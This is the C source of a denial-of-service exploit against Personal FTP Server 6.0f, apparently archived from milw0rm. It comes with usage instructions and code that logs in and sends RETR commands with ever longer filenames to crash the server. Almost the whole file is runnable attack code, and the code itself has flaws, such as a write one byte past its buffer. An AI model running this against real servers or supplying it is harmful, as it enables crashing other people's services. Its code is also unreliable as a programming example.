77 lines
No EOL
1.9 KiB
C
77 lines
No EOL
1.9 KiB
C
/*
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*** The Personal FTP Server 6.0f RETR DOS exploit ***
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A vulnerability exists in the way Personal FTP Server handles
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multiple RETR commands with overly long filenames.When confronted
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with such consecutive requests the server will crash.
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Usage : ./pftpdos ip port user password
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Ex. : ./pftpdos 127.0.0.1 21 test test
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Personal FTP Server homepage: http://www.michael-roth-software.de/
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Discovey + POC by Shinnok raydenxy [at] yahoo <dot> com
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http://shinnok.evonet.ro
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <netinet/in.h>
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#include <string.h>
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#include <malloc.h>
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#include <errno.h>
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int
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min (int x, int y)
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{
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if (x < y)return x;
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else
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return y;
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}
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extern int errno;
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int
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main (int argc, char *argv[])
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{
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struct sockaddr_in server;
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int i, t, s;
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char *req, *buff;
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s = socket (AF_INET, SOCK_STREAM, 0);
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bzero (&server, sizeof (server));
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server.sin_family = AF_INET;
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server.sin_addr.s_addr = inet_addr (argv[1]);
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server.sin_port = htons (atoi (argv[2]));
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connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
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req = malloc (sizeof (char) * \
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(((strlen (argv[3]) - strlen (argv[4])) + \
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min (strlen (argv[3]), strlen (argv[4])) + 8)));
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sprintf (req, "USER %s\xD\xA", argv[3]);
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write (s, req, strlen (req));
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sprintf (req, "PASS %s\xD\xA", argv[4]);
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write (s, req, strlen (req));
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free (req);
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for (i = 1; i <= 5; i++)
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{
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t = (sizeof (char) * 1000 * i);
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buff = malloc (t + 1);
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memset (buff, 'A', t);
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buff[t + 1] = '\0';
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req = malloc (t + 9);
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sprintf (req, "RETR %s\xD\xA", buff);
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if (write (s, req, strlen (req)) == -1)
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{
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perror (NULL);
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printf ("Target pwned!\n", errno);
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}
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free (req);
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free (buff);
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sleep (1);
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}
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close (s);
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2008-09-14]
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